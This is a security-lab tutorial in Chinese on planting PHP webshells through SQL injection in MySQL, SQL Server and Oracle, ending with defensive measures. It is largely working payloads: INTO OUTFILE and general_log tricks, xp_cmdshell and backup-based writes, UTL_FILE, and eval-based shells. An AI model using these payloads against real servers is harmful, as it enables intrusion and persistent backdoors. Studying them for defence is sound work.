美创安全实验室 | 三大数据库写入WebShell的姿势总结
字数 937 2025-08-15 21:31:40

三大数据库写入WebShell的技术总结

一、MySQL写入WebShell技术

1. 必备条件

  • 数据库当前用户为ROOT或拥有FILE权限
  • 知道网站目录的绝对路径
  • PHP的GPC参数为off状态
  • MySQL中的secure_file_priv参数不能为NULL状态

2. 写入方法

(1) Outfile方法

  • 当secure_file_priv参数不为NULL时可用

  • 基本语法:

    UNION SELECT "WebShell代码" INTO OUTFILE "Web目录路径"
    
  • 不使用UNION的替代方法:

    ?id=1 INTO OUTFILE '物理路径' lines terminated by (WebShell代码)#
    ?id=1 INTO OUTFILE '物理路径' fields terminated by (WebShell代码)#
    ?id=1 INTO OUTFILE '物理路径' columns terminated by (WebShell代码)#
    ?id=1 INTO OUTFILE '物理路径' lines starting by (WebShell代码)#
    

(2) 基于日志写入法

  • 当secure_file_priv为NULL时的替代方法
  • 操作步骤:
    1. 设置日志文件路径:
      SET global general_log = 'on';
      SET global general_log_file = 'Web目录路径';
      
    2. 执行WebShell代码查询:
      SELECT "<?php eval($_POST['pass']);?>";
      

3. 实验步骤

(1) 准备工作

  • 检查secure_file_priv设置:
    SHOW VARIABLES LIKE '%secure%';
    
  • 检查用户权限:
    SELECT user,file_priv FROM mysql.user;
    

(2) 确认注入点

  • 测试SQL注入漏洞
  • 获取数据库版本和用户信息:
    ?id=1' UNION SELECT version(),user() #
    

(3) 使用outfile写入

  • 示例payload:
    1' UNION SELECT 1,"<?php eval($_POST['pass']);?>" INTO OUTFILE "F:\\PhpStudy20180211\\PHPTutorial\\WWW\\Tp.php" #
    

(4) 使用日志方法写入

  1. 开启日志并设置路径:
    SET global general_log = on;
    SET global general_log_file = 'F:/test.php';
    
  2. 执行WebShell代码:
    SELECT '<?php phpinfo();?>';
    

二、SQL Server写入WebShell技术

1. 必备条件

  • 具有db_owner权限
  • 知道Web目录的绝对路径

2. 写入方法

(1) 使用xp_cmdshell

  • 启用xp_cmdshell:

    EXEC sp_configure 'show advanced options',1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell',1;
    RECONFIGURE;
    
  • 查找Web目录:

    EXEC master..xp_dirtree 'c:\';
    

    EXEC master..xp_cmdshell 'for /r c:\ %i in (1*.php) do @echo %i'
    
  • 写入WebShell:

    1';EXEC master..xp_cmdshell 'echo ^<?php eval($_POST["pass"]);?^> > F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cmd.php';
    

(2) 差异备份法

  1. 备份数据库:
    id=1';BACKUP DATABASE 库名 TO DISK = 'F:\\PhpStudy20180211\\PHPTutorial\\WWW\\back.bak';
    
  2. 创建表并插入WebShell:
    id=1'; CREATE TABLE cybk([cmd] [image]);
    id=1'; INSERT INTO cybk(cmd) VALUES(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);
    
  3. 差异备份:
    id=1'; BACKUP DATABASE library TO DISK='F:\\PhpStudy20180211\\PHPTutorial\\WWW\\cybk.php' WITH DIFFERENTIAL,FORMAT;
    

(3) 日志备份法

  1. 设置完整恢复模式
  2. 创建表并插入WebShell
  3. 备份日志到Web目录

三、Oracle写入WebShell技术

1. 必备条件

  • 具有DBA权限
  • 知道Web目录的绝对路径

2. 写入方法

使用文件访问包方法

  1. 创建目录对象:
    CREATE OR REPLACE DIRECTORY IST0_DIR AS '/home/oracle';
    
  2. 授权:
    GRANT read, write ON DIRECTORY IST0_DIR TO system;
    
  3. 写入文件:
    DECLARE
      fhandle UTL_FILE.FILE_TYPE;
    BEGIN
      fhandle := UTL_FILE.FOPEN('IST0_DIR', 'test.php', 'w');
      UTL_FILE.PUT_LINE(fhandle, '<?php eval($_POST["pass"]);?>');
      UTL_FILE.FCLOSE(fhandle);
    END;
    

四、防御措施

  1. MySQL防御

    • 设置secure_file_priv为NULL
    • 限制FILE权限
    • 关闭general_log
  2. SQL Server防御

    • 禁用xp_cmdshell
    • 限制备份目录
    • 最小化权限分配
  3. Oracle防御

    • 限制UTL_FILE包的使用
    • 严格控制目录对象权限
    • 最小化DBA权限分配
  4. 通用防御

    • 使用参数化查询防止SQL注入
    • Web目录设置严格权限
    • 定期审计数据库配置和权限
三大数据库写入WebShell的技术总结 一、MySQL写入WebShell技术 1. 必备条件 数据库当前用户为ROOT或拥有FILE权限 知道网站目录的绝对路径 PHP的GPC参数为off状态 MySQL中的secure_ file_ priv参数不能为NULL状态 2. 写入方法 (1) Outfile方法 当secure_ file_ priv参数不为NULL时可用 基本语法: 不使用UNION的替代方法: (2) 基于日志写入法 当secure_ file_ priv为NULL时的替代方法 操作步骤: 设置日志文件路径: 执行WebShell代码查询: 3. 实验步骤 (1) 准备工作 检查secure_ file_ priv设置: 检查用户权限: (2) 确认注入点 测试SQL注入漏洞 获取数据库版本和用户信息: (3) 使用outfile写入 示例payload: (4) 使用日志方法写入 开启日志并设置路径: 执行WebShell代码: 二、SQL Server写入WebShell技术 1. 必备条件 具有db_ owner权限 知道Web目录的绝对路径 2. 写入方法 (1) 使用xp_ cmdshell 启用xp_ cmdshell: 查找Web目录: 或 写入WebShell: (2) 差异备份法 备份数据库: 创建表并插入WebShell: 差异备份: (3) 日志备份法 设置完整恢复模式 创建表并插入WebShell 备份日志到Web目录 三、Oracle写入WebShell技术 1. 必备条件 具有DBA权限 知道Web目录的绝对路径 2. 写入方法 使用文件访问包方法 创建目录对象: 授权: 写入文件: 四、防御措施 MySQL防御 : 设置secure_ file_ priv为NULL 限制FILE权限 关闭general_ log SQL Server防御 : 禁用xp_ cmdshell 限制备份目录 最小化权限分配 Oracle防御 : 限制UTL_ FILE包的使用 严格控制目录对象权限 最小化DBA权限分配 通用防御 : 使用参数化查询防止SQL注入 Web目录设置严格权限 定期审计数据库配置和权限